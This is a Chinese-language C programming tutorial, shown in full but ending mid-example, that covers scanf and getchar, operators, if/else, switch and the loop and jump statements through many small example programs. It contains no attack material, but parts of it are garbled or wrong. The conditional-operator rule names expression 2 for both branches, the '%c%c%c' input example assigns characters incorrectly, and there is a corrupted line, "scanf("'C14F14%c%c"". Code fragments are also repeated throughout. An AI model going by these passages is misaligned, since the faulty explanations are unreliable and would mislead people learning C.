      scanf函数是一个标准库函数,它的函数原型在头文件“stdio.h”中,与printf函数相同,C语言也允许在使用scanf函数之前不必包含stdio.h文件。scanf函数的一般形式为: scanf(“格式控制字符串”,地址表列); 其中,格式控制字符串的作用与printf函数相同,但不能显示非格式字符串, 也就是不能显示提示字符串。地址表列中给出各变量的地址。 地址是由地址运算符“&”后跟变量名组成的。例如,&a,&b分别表示变量a和变量b 的地址。这个地址就是编译系统在内存中给a,b变量分配的地址。在C语言中,使用了地址这个概念,这是与其它语言不同的。 应该把变量的值和变量的地址这两个不同的概念区别开来。变量的地址是C编译系统分配的,用户不必关心具体的地址是多少。 变量的地址和变量值的关系如下: &a--->a567 a为变量名,567是变量的值,&a是变量a的地址。在赋值表达式中给变量赋值,如: a=567 在赋值号左边是变量名,不能写地址,而scanf函数在本质上也是给变量赋值,但要求写变量的地址,如&a。 这两者在形式上是不同的。&是一个取地址运算符,&a是一个表达式,其功能是求变量的地址。
      void main(){
      int a,b,c;
      printf("input a,b,c\n");
      scanf("%d%d%d",&a,&b,&c);
      printf("a=%d,b=%d,c=%d",a,b,c);
      }

      注意&的用法!
      在本例中,由于scanf函数本身不能显示提示串,故先用printf语句在屏幕上输出提示,请用户输入a、b、c的值。执行scanf语句,则退出TC屏幕进入用户屏幕等待用户输入。用户输入7、8、9后按下回车键,此时,系统又将返回TC屏幕。在scanf语句的格式串中由于没有非格式字符在“%d%d%d”之间作输入时的间隔, 因此在输入时要用一个以上的空格或回车键作为每两个输入数之间的间隔。
      如: 7 8 9

      7
      8
      9

      格式字符串

      格式字符串的一般形式为: %[*][输入数据宽度][长度]类型 其中有方括号[]的项为任选项。各项的意义如下:
      1.类型
      表示输入数据的类型,其格式符和意义下表所示。
      格式    字符意义
      d     输入十进制整数
      o     输入八进制整数
      x     输入十六进制整数
      u     输入无符号十进制整数
      f或e    输入实型数(用小数形式或指数形式)
      c     输入单个字符
      s     输入字符串
      2.“*”符
      用以表示该输入项读入后不赋予相应的变量,即跳过该输入值。 如 scanf("%d %*d %d",&a,&b);当输入为:1 2 3 时,把1赋予a,2被跳过,3赋予b。
      3.宽度
      用十进制整数指定输入的宽度(即字符数)。例如: scanf("%5d",&a);
      输入:
      12345678
      只把12345赋予变量a,其余部分被截去。又如: scanf("%4d%4d",&a,&b);
      输入:
      12345678将把1234赋予a,而把5678赋予b。
      4.长度
      长度格式符为l和h,l表示输入长整型数据(如%ld) 和双精度浮点数(如%lf)。h表示输入短整型数据。
      使用scanf函数还必须注意以下几点:
      a. scanf函数中没有精度控制,如: scanf("%5.2f",&a); 是非法的。不能企图用此语句输入小数为2位的实数。
      b. scanf中要求给出变量地址,如给出变量名则会出错。如 scanf("%d",a);是非法的,应改为scnaf("%d",&a);才是合法的。
      c. 在输入多个数值数据时,若格式控制串中没有非格式字符作输入数据之间的间隔则可用空格,TAB或回车作间隔。C编译在碰到空格,TAB,回车或非法数据(如对“%d”输入“12A”时,A即为非法数据)时即认为该数据结束。
      d. 在输入字符数据时,若格式控制串中无非格式字符,则认为所有输入的字符均为有效字符。例如:
      scanf("%c%c%c",&a,&b,&c);
      输入为:
      d e f
      则把'd'赋予a, 'f'赋予b,'e'赋予c。只有当输入为:
      def
      时,才能把'd'赋于a,'e'赋予b,'f'赋予c。 如果在格式控制中加入空格作为间隔,如 scanf ("%c %c %c",&a,&b,&c);则输入时各数据之间可加空格。
      void main(){
      char a,b;
      printf("input character a,b\n");
      scanf("%c%c",&a,&b);
      printf("%c%c\n",a,b);
      }
      scanf("'C14F14%c%c",&a,&b);
      printf("%c%c\n",a,b); 由于scanf函数"%c%c"中没有空格,输入M N,结果输出只有M。
      而输入改为MN时则可输出MN两字符,见下面的输入运行情况: input character a,b
      MN
      MN
      void main(){
      char a,b;
      printf("input character a,b\n");
      scanf("%c %c",&a,&b);
      printf("\n%c%c\n",a,b);
      }
      scanf("%c %c",&a,&b); 本例表示scanf格式控制串"%c %c"之间有空格时, 输入的数据之间可以有空格间隔。e. 如果格式控制串中有非格式字符则输入时也要输入该非格式字符。
      例如:
      scanf("%d,%d,%d",&a,&b,&c); 其中用非格式符“ , ”作间隔符,故输入时应为: 5,6,7
      又如: scanf("a=%d,b=%d,c=%d",&a,&b,&c);
      则输入应为
      a=5,b=6,c=7g. 如输入的数据与输出的类型不一致时,虽然编译能够通过,但结果将不正确。
      void main(){
      int a;
      printf("input a number\n");
      scanf("%d",&a);
      printf("%ld",a);
      }
      由于输入数据类型为整型, 而输出语句的格式串中说明为长整型,因此输出结果和输入数据不符。如改动程序如下:
      void main(){
      long a;
      printf("input a long integer\n");
      scanf("%ld",&a);
      printf("%ld",a);
      }
      运行结果为:
      input a long integer
      1234567890
      1234567890 当输入数据改为长整型后,输入输出数据相等。

      键盘输入函数
      getchar函数getchar函数的功能是从键盘上输入一个字符。其一般形式为: getchar(); 通常把输入的字符赋予一个字符变量,构成赋值语句,如:
      char c;
      c=getchar();#include<stdio.h>
      void main(){
      char c;
      printf("input a character\n");
      c=getchar();
      putchar(c);
      }
      使用getchar函数还应注意几个问题:
      1.getchar函数只能接受单个字符,输入数字也按字符处理。输入多于一个字符时,只接收第一个字符。
      2.使用本函数前必须包含文件“stdio.h”。
      3.在TC屏幕下运行含本函数程序时,将退出TC 屏幕进入用户屏幕等待用户输入。输入完毕再返回TC屏幕。
      void main(){
      char a,b,c;
      printf("input character a,b,c\n");
      scanf("%c %c %c",&a,&b,&c);
      printf("%d,%d,%d\n%c,%c,%c\n",a,b,c,a-32,b-32,c-32);
      }
      输入三个小写字母
      输出其ASCII码和对应的大写字母。
      void main(){
      int a;
      long b;
      float f;
      double d;
      char c;
      printf("%d,%d,%d,%d,%d",sizeof(a),sizeof(b),sizeof(f)
      ,sizeof(d),sizeof(c));
      }
      输出各种数据类型的字节长度。

      分支结构程序

      关系运算符和表达式

      在程序中经常需要比较两个量的大小关系, 以决定程序下一步的工作。比较两个量的运算符称为关系运算符。 在C语言中有以下关系运算符:
      < 小于
      <= 小于或等于
      > 大于
      >= 大于或等于
      == 等于
      != 不等于
      关系运算符都是双目运算符,其结合性均为左结合。 关系运算符的优先级低于算术运算符,高于赋值运算符。 在六个关系运算符中,<,<=,>,>=的优先级相同,高于==和!=,==和!=的优先级相同。
      关系表达式
      关系表达式的一般形式为: 表达式 关系运算符 表达式 例如:a+b>c-d,x>3/2,'a'+1<c,-i-5*j==k+1;都是合法的关系表达式。由于表达式也可以又是关系表达式。 因此也允许出现嵌套的情况,例如:a>(b>c),a!=(c==d)等。关系表达式的值是“真”和“假”,用“1”和“0”表示。
      如: 5>0的值为“真”,即为1。(a=3)>(b=5)由于3>5不成立,故其值为假,即为0。
      void main(){
      char c='k';
      int i=1,j=2,k=3;
      float x=3e+5,y=0.85;
      printf("%d,%d\n",'a'+5<c,-i-2*j>=k+1);
      printf("%d,%d\n",1<j<5,x-5.25<=x+y);
      printf("%d,%d\n",i+j+k==-2*j,k==j==i+5);
      }
      char c='k';
      int i=1,j=2,k=3;
      float x=3e+5,y=0.85;
      printf("%d,%d\n",'a'+5<c,-i-2*j>=k+1);
      printf("%d,%d\n",1<j<5,x-5.25<=x+y);
      printf("%d,%d\n",i+j+k==-2*j,k==j==i+5);

      在本例中求出了各种关系运算符的值。 字符变量是以它对应的ASCII码参与运算的。对于含多个关系运算符的表达式,如k==j==i+5,根据运算符的左结合性,先计算k==j,该式不成立,其值为0,再计算0==i+5,也不成立,故表达式值为0。

      逻辑运算符和表达式

      逻辑运算符C语言中提供了三种逻辑运算符 && 与运算 || 或运算 ! 非运算 与运算符&&和或运算符||均为双目运算符。具有左结合性。 非
      运算符!为单目运算符,具有右结合性。逻辑运算符和其它运算符优先级的关系可表示如下:
      按照运算符的优先顺序可以得出:
      a>b && c>d等价于(a>b) && (c>d)
      !b==c||d<a等价于((!b)==c)||(d<a)
      a+b>c && x+y<b等价于((a+b)>c) && ((x+y)<b)
      逻辑运算的值
      逻辑运算的值也为“真”和“假”两种,用“1”和“0 ”来表示。其求值规则如下:
      1.与运算&&参与运算的两个量都为真时,结果才为真,否则为假。例如,5>0 && 4>2,由于5>0为真,4>2也为真,相与的结果也为真。
      2.或运算||参与运算的两个量只要有一个为真,结果就为真。 两个量都为假时,结果为假。例如:5>0||5>8,由于5>0为真,相或的结果也就为真
      3.非运算!参与运算量为真时,结果为假;参与运算量为假时,结果为真。
      例如:!(5>0)的结果为假。
      虽然C编译在给出逻辑运算值时,以“1”代表“真”,“0 ”代表“假”。 但反过来在判断一个量是为“真”还是为“假”时,以“0”代表“假”,以非“0”的数值作为“真”。例如:由于5和3均为非“0”因此5&&3的值为“真”,即为1。
      又如:5||0的值为“真”,即为1。
      逻辑表达式逻辑表达式的一般形式为: 表达式 逻辑运算符 表达式 其中的表达式可以又是逻辑表达式,从而组成了嵌套的情形。例如:(a&&b)&&c根据逻辑运算符的左结合性,上式也可写为: a&&b&&c 逻辑表达式的值是式中各种逻辑运算的最后值,以“1”和“0”分别代表“真”和“假”。
      void main(){
      char c='k';
      int i=1,j=2,k=3;
      float x=3e+5,y=0.85;
      printf("%d,%d\n",!x*!y,!!!x);
      printf("%d,%d\n",x||i&&j-3,i<j&&x<y);
      printf("%d,%d\n",i==5&&c&&(j=8),x+y||i+j+k);
      } char c='k';
      int i=1,j=2,k=3;
      float x=3e+5,y=0.85;
      printf("%d,%d\n",!x*!y,!!!x);
      printf("%d,%d\n",x||i&&j-3,i<j&&x<y);
      printf("%d,%d\n",i==5&&c&&(j=8),x+y||i+j+k);

      本例中!x和!y分别为0,!x*!y也为0,故其输出值为0。由于x为非0,故!!!x的逻辑值为0。对x|| i && j-3式,先计算j-3的值为非0,再求i && j-3的逻辑值为1,故x||i&&j-3的逻辑值为 1。对i<j&&x<y式,由于i<j的值为1,而x<y为0故表达式的值为1,0相与,最后为0,对i==5&&c&&(j=8)式,由于i==5为假,即值为0, 该表达式由两个与运算组成,所以整个表达式的值为0。对于式x+ y||i+j+k 由于x+y的值为非0,故整个或表达式的值为1。

      if语句

      用if语句可以构成分支结构。它根据给定的条件进行判断, 以决定执行某个分支程序段。C语言的if语句有三种基本形式。

      1.第一种形式为基本形式 if(表达式) 语句; 其语义是:如果表达式的值为真,则执行其后的语句, 否则不执行该语句。其过程可表示为下图
      void main(){
      int a,b,max;
      printf("\n input two numbers: ");
      scanf("%d%d",&a,&b);
      max=a;
      if (max<b) max=b;
      printf("max=%d",max);
      }
      输入两个整数,输出其中的大数。
      scanf("%d%d",&a,&b);
      max=a;
      if (max<b) max=b;
      printf("max=%d",max);

      本例程序中,输入两个数a,b。把a先赋予变量max,再用if语句判别max和b的大小,如max小于b,则把b赋予max。因此max中总是大数,最后输出max的值。
      2.第二种形式为if-else形式
      if(表达式)
      语句1;
      else
      语句2;
      其语义是:如果表达式的值为真,则执行语句1,否则执行语句2 。
      void main(){
      int a, b;
      printf("input two numbers: ");
      scanf("%d%d",&a,&b);
      if(a>b)
      printf("max=%d\n",a);
      else
      printf("max=%d\n",b);
      }
      输入两个整数,输出其中的大数。改用if-else语句判别a,b的大小,若a大,则输出a,否则输出b。
      3.第三种形式为if-else-if形式
      前二种形式的if语句一般都用于两个分支的情况。 当有多个分支选择时,可采用if-else-if语句,其一般形式为:
      if(表达式1)
      语句1;
      else if(表达式2)
      语句2;
      else if(表达式3)
      语句3;

      else if(表达式m)
      语句m;
      else
      语句n;
      其语义是:依次判断表达式的值,当出现某个值为真时, 则执行其对应的语句。然后跳到整个if语句之外继续执行程序。 如果所有的表达式均为假,则执行语句n 。 然后继续执行后续程序。 if-else-if语句的执行过程如图3—3所示。
      #include"stdio.h"
      void main(){
      char c;
      printf("input a character: ");
      c=getchar();
      if(c<32)
      printf("This is a control character\n");
      else if(c>='0'&&c<='9')
      printf("This is a digit\n");
      else if(c>='A'&&c<='Z')
      printf("This is a capital letter\n");
      else if(c>='a'&&c<='z')
      printf("This is a small letter\n");
      else
      printf("This is an other character\n");
      }
      if(c<32)
      printf("This is a control character\n");
      else if(c>='0'&&c<='9')
      printf("This is a digit\n");
      else if(c>='A'&&c<='Z')
      printf("This is a capital letter\n");
      else if(c>='a'&&c<='z')
      printf("This is a small letter\n");
      else
      printf("This is an other character\n");
      本例要求判别键盘输入字符的类别。可以根据输入字符的ASCII码来判别类型。由ASCII码表可知ASCII值小于32的为控制字符。 在“0”和“9”之间的为数字,在“A”和“Z”之间为大写字母, 在“a”和“z”之间为小写字母,其余则为其它字符。 这是一个多分支选择的问题,用if-else-if语句编程,判断输入字符ASCII码所在的范围,分别给出不同的输出。例如输入为“g”,输出显示它为小写字符。

      4.在使用if语句中还应注意以下问题

      (1) 在三种形式的if语句中,在if关键字之后均为表达式。 该表达式通常是逻辑表达式或关系表达式, 但也可以是其它表达式,如赋值表达式等,甚至也可以是一个变量。例如: if(a=5) 语句;if(b) 语句; 都是允许的。只要表达式的值为非0,即为“真”。如在if(a=5)…;中表达式的值永远为非0,所以其后的语句总是要执行的,当然这种情况在程序中不一定会出现,但在语法上是合法的。
      又如,有程序段: if(a=b)
      printf("%d",a);
      else
      printf("a=0"); 本语句的语义是,把b值赋予a,如为非0则输出该值,否则输出“a=0”字符串。这种用法在程序中是经常出现的。

      (2) 在if语句中,条件判断表达式必须用括号括起来, 在语句之后必须加分号。

      (3) 在if语句的三种形式中,所有的语句应为单个语句,如果要想在满足条件时执行一组(多个)语句,则必须把这一组语句用{} 括起来组成一个复合语句。但要注意的是在}之后不能再加分号。
      例如:
      if(a>b){
      a++;
      b++;
      }
      else{ a=0;
      b=10;
      }

      if语句的嵌套

      当if语句中的执行语句又是if语句时,则构成了if 语句嵌套的情形。其一般形式可表示如下:
      if(表达式)
      if语句;
      或者为
      if(表达式)
      if语句;
      else
      if语句;
      在嵌套内的if语句可能又是if-else型的,这将会出现多个if和多个else重叠的情况,这时要特别注意if和else的配对问题。例如:
      if(表达式1)
      if(表达式2)
      语句1;
      else
      语句2;
      其中的else究竟是与哪一个if配对呢?
      应该理解为:   还是应理解为:
      if(表达式1)    if(表达式1)
       if(表达式2)     if(表达式2)
        语句1;       语句1;
      else         else
        语句2;       语句2;
      为了避免这种二义性,C语言规定,else 总是与它前面最近的if配对,因此对上述例子应按前一种情况理解。
      void main(){
      int a,b;
      printf("please input A,B: ");
      scanf("%d%d",&a,&b);
      if(a!=b)
      if(a>b) printf("A>B\n");
      else printf("A<B\n");
      else printf("A=B\n");
      }
      比较两个数的大小关系。
      printf("please input A,B: ");
      scanf("%d%d",&a,&b);
      if(a!=b)
      if(a>b) printf("A>B\n");
      else printf("A<B\n");
      else printf("A=B\n");
      本例中用了if语句的嵌套结构。 采用嵌套结构实质上是为了进行多分支选择,例3.16实际上有三种选择即A>B、A<B或A=B。这种问题用if-else-if语句也可以完成。而且程序更加清晰。因此, 在一般情况下较少使用if语句的嵌套结构。 以使程序更便于阅读理解。
      void main(){
      int a,b;
      printf("please input A,B: ");
      scanf("%d%d",&a,&b);
      if(a==b) printf("A=B\n");
      else if(a>b) printf("A>B\n");
      else printf("A<B\n");
      }

      条件运算符和条件表达式

      如果在条件语句中,只执行单个的赋值语句时, 常可使用条件表达式来实现。不但使程序简洁,也提高了运行效率。
      条件运算符为?和:,它是一个三目运算符,即有三个参与运算的量。由条件运算符组成条件表达式的一般形式为:
      表达式1? 表达式2: 表达式3
      其求值规则为:如果表达式1的值为真,则以表达式2 的值作为条件表达式的值,否则以表达式2的值作为整个条件表达式的值。 条件表达式通常用于赋值语句之中。
      例如条件语句:
      if(a>b) max=a;
      else max=b;
      可用条件表达式写为 max=(a>b)?a:b; 执行该语句的语义是:如a>b为真,则把a赋予max,否则把b 赋予max。
      使用条件表达式时,还应注意以下几点:
      1. 条件运算符的运算优先级低于关系运算符和算术运算符,但高于赋值符。因此 max=(a>b)?a:b可以去掉括号而写为 max=a>b?a:b
      2. 条件运算符?和:是一对运算符,不能分开单独使用。
      3. 条件运算符的结合方向是自右至左。
      例如:
      a>b?a:c>d?c:d应理解为
      a>b?a:(c>d?c:d) 这也就是条件表达式嵌套的情形,即其中的表达式3又是一个条
      件表达式。
      void main(){
      int a,b,max;
      printf("\n input two numbers: ");
      scanf("%d%d",&a,&b);
      printf("max=%d",a>b?a:b);
      }

      用条件表达式对上例重新编程,输出两个数中的大数。

      switch语句

      C语言还提供了另一种用于多分支选择的switch语句, 其一般形式为:
      switch(表达式){
      case常量表达式1: 语句1;
      case常量表达式2: 语句2;

      case常量表达式n: 语句n;
      default : 语句n+1;
      }
      其语义是:计算表达式的值。 并逐个与其后的常量表达式值相比较,当表达式的值与某个常量表达式的值相等时, 即执行其后的语句,然后不再进行判断,继续执行后面所有case后的语句。 如表达式的值与所有case后的常量表达式均不相同时,则执行default后的语句。
      void main(){
      int a;
      printf("input integer number: ");
      scanf("%d",&a);
      switch (a){
      case 1:printf("Monday\n");
      case 2:printf("Tuesday\n");
      case 3:printf("Wednesday\n");
      case 4:printf("Thursday\n");
      case 5:printf("Friday\n");
      case 6:printf("Saturday\n");
      case 7:printf("Sunday\n");
      default:printf("error\n");
      }
      }

      本程序是要求输入一个数字,输出一个英文单词。但是当输入3之后,却执行了case3以及以后的所有语句,输出了Wednesday 及以后的所有单词。这当然是不希望的。为什么会出现这种情况呢?这恰恰反应了switch语句的一个特点。在switch语句中,“case 常量表达式”只相当于一个语句标号, 表达式的值和某标号相等则转向该标号执行,但不能在执行完该标号的语句后自动跳出整个switch 语句,所以出现了继续执行所有后面case语句的情况。 这是与前面介绍的if语句完全不同的,应特别注意。为了避免上述情况, C语言还提供了一种break语句,专用于跳出switch语句,break 语句只有关键字break,没有参数。在后面还将详细介绍。修改例题的程序,在每一case语句之后增加break 语句, 使每一次执行之后均可跳出switch语句,从而避免输出不应有的结果。
      void main(){
      int a;
      printf("input integer number: ");
      scanf("%d",&a);
      switch (a){
      case 1:printf("Monday\n");break;
      case 2:printf("Tuesday\n"); break;
      case 3:printf("Wednesday\n");break;
      case 4:printf("Thursday\n");break;
      case 5:printf("Friday\n");break;
      case 6:printf("Saturday\n");break;
      case 7:printf("Sunday\n");break;
      default:printf("error\n");
      }
      }
      在使用switch语句时还应注意以下几点:
      1.在case后的各常量表达式的值不能相同,否则会出现错误。
      2.在case后,允许有多个语句,可以不用{}括起来。
      3.各case和default子句的先后顺序可以变动,而不会影响程序执行结果。
      4.default子句可以省略不用。程序举例
      输入三个整数,输出最大数和最小数。
      void main(){
      int a,b,c,max,min;
      printf("input three numbers: ");
      scanf("%d%d%d",&a,&b,&c);
      if(a>b)
      {max=a;min=b;}
      else
      {max=b;min=a;}
      if(max<c)
      max=c;
      else
      if(min>c)
      min=c;
      printf("max=%d\nmin=%d",max,min);
      }

      本程序中,首先比较输入的a,b的大小,并把大数装入max, 小数装入min中,然后再与c比较,若max小于c,则把c赋予max;如果c小于min,则把c赋予min。因此max内总是最大数,而min内总是最小数。最后输出max和min的值即可。 计算器程序。用户输入运算数和四则运算符, 输出计算结果。
      void main(){
      float a,b,s;
      char c;
      printf("input expression: a+(-,*,/)b \n");
      scanf("%f%c%f",&a,&c,&b);
      switch(c){
      case '+': printf("%f\n",a+b);break;
      case '-': printf("%f\n",a-b);break;
      case '*': printf("%f\n",a*b);break;
      case '/': printf("%f\n",a/b);break;
      default: printf("input error\n");
      }
      }

      float a,b,s;
      char c;
      printf("input expression: a+(-,*,/)b \n");
      scanf("%f%c%f",&a,&c,&b);
      switch(c){
      case '+': printf("%f\n",a+b);break;
      case '-': printf("%f\n",a-b);break;
      case '*': printf("%f\n",a*b);break;
      case '/': printf("%f\n",a/b);break;
      default: printf("input error\n");
      }
      本例可用于四则运算求值。switch语句用于判断运算符, 然后输出运算值。当输入运算符不是+,-,*,/时给出错误提示。

      循环结构程序


      循环结构是程序中一种很重要的结构。其特点是, 在给定条件成立时,反复执行某程序段,直到条件不成立为止。 给定的条件称为循环条件,反复执行的程序段称为循环体。 C语言提供了多种循环语句,可以组成各种不同形式的循环结构。

      while语句

      while语句的一般形式为: while(表达式)语句; 其中表达式是循环条件,语句为循环体。
      while语句的语义是:计算表达式的值,当值为真(非0)时, 执行循环体语句。其执行过程可用图3—4表示。 统计从键盘输入一行字符的个数。
      #include <stdio.h>
      void main(){
      int n=0;
      printf("input a string:\n");
      while(getchar()!='\n') n++;
      printf("%d",n);
      } int n=0;
      printf("input a string:\n");
      while(getchar()!='\n')
      n++;
      printf("%d",n);
      本例程序中的循环条件为getchar()!='\n',其意义是, 只要从键盘输入的字符不是回车就继续循环。循环体n++完成对输入字符个数计数。从而程序实现了对输入一行字符的字符个数计数。
      使用while语句应注意以下几点:
      1.while语句中的表达式一般是关系表达或逻辑表达式,只要表达式的值为真(非0)即可继续循环。
      void main(){
      int a=0,n;
      printf("\n input n: ");
      scanf("%d",&n);
      while (n--)
      printf("%d ",a++*2);
      } int a=0,n;
      printf("\n input n: ");
      scanf("%d",&n);
      while (n--)
      printf("%d ",a++*2);

      本例程序将执行n次循环,每执行一次,n值减1。循环体输出表达式a++*2的值。该表达式等效于(a*2;a++)
      2.循环体如包括有一个以上的语句,则必须用{}括起来, 组成复合语句。
      3.应注意循环条件的选择以避免死循环。
      void main(){
      int a,n=0;
      while(a=5)
      printf("%d ",n++);
      } int a,n=0;
      while(a=5)
      printf("%d ",n++);
      本例中while语句的循环条件为赋值表达式a=5, 因此该表达式的值永远为真,而循环体中又没有其它中止循环的手段, 因此该循环将无休止地进行下去,形成死循环。4.允许while语句的循环体又是while语句,从而形成双重循环。

      do-while语句

      do-while语句的一般形式为:
      do
      语句;
      while(表达式);
      其中语句是循环体,表达式是循环条件。
      do-while语句的语义是:
      先执行循环体语句一次, 再判别表达式的值,若为真(非0)则继续循环,否则终止循环。
      do-while语句和while语句的区别在于do-while是先执行后判断,因此do-while至少要执行一次循环体。而while是先判断后执行,如果条件不满足,则一次循环体语句也不执行。
      while语句和do-while语句一般都可以相互改写。
      void main(){
      int a=0,n;
      printf("\n input n: ");
      scanf("%d",&n);
      do printf("%d ",a++*2);
      while (--n);
      }
      int a=0,n;
      printf("\n input n: ");
      scanf("%d",&n);
      do printf("%d ",a++*2);
      while (--n);
      在本例中,循环条件改为--n,否则将多执行一次循环。这是由于先执行后判断而造成的。
      对于do-while语句还应注意以下几点:
      1.在if语句,while语句中, 表达式后面都不能加分号, 而在 do-while语句的表达式后面则必须加分号。
      2.do-while语句也可以组成多重循环,而且也可以和while语句相互嵌套。
      3.在do和while之间的循环体由多个语句组成时,也必须用{}括起来组成一个复合语句。
      4.do-while和while语句相互替换时,要注意修改循环控制条件。

      for语句

      for语句是C语言所提供的功能更强,使用更广泛的一种循环语句。其一般形式为:
      for(表达式1;表达式2;表达3)
      语句;
      表达式1 通常用来给循环变量赋初值,一般是赋值表达式。也允许在for语句外给循环变量赋初值,此时可以省略该表达式。
      表达式2 通常是循环条件,一般为关系表达式或逻辑表达式。
      表达式3 通常可用来修改循环变量的值,一般是赋值语句。
      这三个表达式都可以是逗号表达式, 即每个表达式都可由多个表达式组成。三个表达式都是任选项,都可以省略。
      一般形式中的“语句”即为循环体语句。for语句的语义是:
      1.首先计算表达式1的值。
      2.再计算表达式2的值,若值为真(非0)则执行循环体一次, 否则跳出循环。
      3.然后再计算表达式3的值,转回第2步重复执行。在整个for循环过程中,表达式1只计算一次,表达式2和表达式,3则可能计算多次。循环体可能多次执行,也可能一次都不执行。for 语句的执行过程如图所示。
      void main(){
      int n,s=0;
      for(n=1;n<=100;n++)
      s=s+n;
      printf("s=%d\n",s);
      }
      用for语句计算s=1+2+3+...+99+100

      int n,s=0;
      for(n=1;n<=100;n++)
      s=s+n;
      printf("s=%d\n",s);
      本例for语句中的表达式3为n++,实际上也是一种赋值语句,相当于n=n+1,以改变循环变量的值。
      void main(){
      int a=0,n;
      printf("\n input n: ");
      scanf("%d",&n);
      for(;n>0;a++,n--)
      printf("%d ",a*2);
      }
      用for语句修改例题。从0开始,输出n个连续的偶数。
      int a=0,n;
      printf("\n input n: ");
      scanf("%d",&n);
      for(;n>0;a++,n--)
      printf("%d ",a*2);
      本例的for语句中,表达式1已省去,循环变量的初值在for语句之前由scanf语句取得,表达式3是一个逗号表达式,由a++,n-- 两个表达式组成。每循环一次a自增1,n自减1。a的变化使输出的偶数递增,n的变化控制循次数。
      在使用for语句中要注意以下几点
      1.for语句中的各表达式都可省略,但分号间隔符不能少。如:for(;表达式;表达式)省去了表达式1。for(表达式;;表达式)省去了表达式2。
      for(表达式;表达式;)省去了表达式3。for(;;)省去了全部表达式。
      2.在循环变量已赋初值时,可省去表达式1,如例3.27即属于这种情形。如省去表达式2或表达式3则将造成无限循环, 这时应在循环体内设法结束循环。例题即属于此情况。
      void main(){
      int a=0,n;
      printf("\n input n: ");
      scanf("%d",&n);
      for(;n>0;)
      { a++;n--;
      printf("%d ",a*2);
      }
      } int a=0,n;
      printf("\n input n: ");
      scanf("%d",&n);
      for(;n>0;)
      { a++;n--;
      printf("%d ",a*2);
      }
      本例中省略了表达式1和表达式3,由循环体内的n--语句进行循环变量n的递减,以控制循环次数。
      void main(){
      int a=0,n;
      printf("\n input n: ");
      scanf("%d",&n);
      for(;;){
      a++;n--;
      printf("%d ",a*2);
      if(n==0)break;
      }
      }
      int a=0,n;
      printf("\n input n: ");
      scanf("%d",&n);
      for(;;){
      a++;n--;
      printf("%d ",a*2);
      if(n==0)break;
      }
      本例中for语句的表达式全部省去。由循环体中的语句实现循环变量的递减和循环条件的判断。当n值为0时,由break语句中止循环,转去执行for以后的程序。在此情况下,for语句已等效于while( 1)语句。如在循环体中没有相应的控制手段,则造成死循环。
      3.循环体可以是空语句。
      #include"stdio.h"
      void main(){
      int n=0;
      printf("input a string:\n");
      for(;getchar()!='\n';n++);
      printf("%d",n);
      }
      本例中,省去了for语句的表达式1,表达式3也不是用来修改循环变量,而是用作输入字符的计数。这样, 就把本应在循环体中完成的计数放在表达式中完成了。因此循环体是空语句。应注意的是,空语句后的分号不可少,如缺少此分号,则把后面的printf 语句当成循环体来执行。反过来说,如循环体不为空语句时, 决不能在表达式的括号后加分号, 这样又会认为循环体是空语句而不能反复执行。这些都是编程中常见的错误,要十分注意。
      4.for语句也可与while,do-while语句相互嵌套,构成多重循环。以下形成都合法的嵌套。
      (1)for(){…
        while()
         {…}
        …
          }
      (2)do{
         …
        for()
         {…}
        …
        }while();
      (3)while(){
            …
            for()
             {…}
            …
           }
      (4)for(){
          …
          for(){
          …
           }
          }
      void main(){
      int i,j,k;
      for(i=1;i<=3;i++)
      { for(j=1;j<=3-i+5;j++)
      printf(" ");
      for(k=1;k<=2*i-1+5;k++)
      {
      if(k<=5) printf(" ");
      else printf("*");
      }
      printf("\n");
      }
      }


      转移语句

      程序中的语句通常总是按顺序方向, 或按语句功能所定义的方向执行的。如果需要改变程序的正常流向, 可以使用本小节介绍的转移语句。在C语言中提供了4种转移语句:
      goto,break, continue和return。
      其中的return语句只能出现在被调函数中, 用于返回主调函数,我们将在函数一章中具体介绍。 本小节介绍前三种转移语句。

      1.goto语句

      goto语句也称为无条件转移语句,其一般格式如下: goto 语句标号; 其中语句标号是按标识符规定书写的符号, 放在某一语句行的
      前面,标号后加冒号(:)。语句标号起标识语句的作用,与goto 语句配合使用。
      如: label: i++;
      loop: while(x<7);
      C语言不限制程序中使用标号的次数,但各标号不得重名。goto语句的语义是改变程序流向, 转去执行语句标号所标识的语句。
      goto语句通常与条件语句配合使用。可用来实现条件转移, 构成循环,跳出循环体等功能。
      但是,在结构化程序设计中一般不主张使用goto语句, 以免造成程序流程的混乱,使理解和调试程序都产生困难。
      统计从键盘输入一行字符的个数。
      #include"stdio.h"
      void main(){
      int n=0;
      printf("input a string\n");
      loop: if(getchar()!='\n')
      { n++;
      goto loop;
      }
      printf("%d",n);
      } int n=0;
      printf("input a string\n");
      loop: if(getchar()!='\n')
      { n++;
      goto loop;
      }
      printf("%d",n);

      本例用if语句和goto语句构成循环结构。当输入字符不为'\n'时即执行n++进行计数,然后转移至if语句循环执行。直至输入字符为'\n'才停止循环。

      break语句

      break语句只能用在switch 语句或循环语句中, 其作用是跳出switch语句或跳出本层循环,转去执行后面的程序。由于break语句的转移方向是明确的,所以不需要语句标号与之配合。break语句的一般形式为: break; 上面例题中分别在switch语句和for语句中使用了break 语句作为跳转。使用break语句可以使循环语句有多个出口,在一些场合下使编程更加灵活、方便。

      continue语句

      continue语句只能用在循环体中,其一般格式是:
      continue;
      其语义是:结束本次循环,即不再执行循环体中continue 语句之后的语句,转入下一次循环条件的判断与执行。应注意的是, 本语句只结束本层本次的循环,并不跳出循环。
      void main(){
      int n;
      for(n=7;n<=100;n++)
      {
      if (n%7!=0)
      continue;
      printf("%d ",n);
      }
      }
      输出100以内能被7整除的数。
      int n;
      for(n=7;n<=100;n++)
      {
      if (n%7!=0)
      continue;
      printf("%d ",n);
      }
      本例中,对7~100的每一个数进行测试,如该数不能被7整除,即模运算不为0,则由continus语句转去下一次循环。只有模运算为0时,才能执行后面的printf语句,输出能被7整除的数。
      #include"stdio.h"
      void main(){
      char a,b;
      printf("input a string:\n");
      b=getchar();
      while((a=getchar())!='\n'){
      if(a==b){
      printf("same character\n");
      break;
      }b=a;
      }
      }
      检查输入的一行中有无相邻两字符相同。
      char a,b;
      printf("input a string:\n");
      b=getchar();
      while((a=getchar())!='\n'){
      if(a==b){
      printf("same character\n");
      break;
      }b=a;
      }

      本例程序中,把第一个读入的字符送入b。然后进入循环,把下一字符读入a,比较a,b是否相等,若相等则输出提示串并中止循环,若不相等则把a中的字符赋予b,输入下一次循环。
      输出100以内的素数。素数是只能被1 和本身整除的数。可用穷举法来判断一个数是否是素数。
      void main(){
      int n,i;
      for(n=2;n<=100;n++){
      for(i=2;i<n;i++)
      if(n%i==0) break;
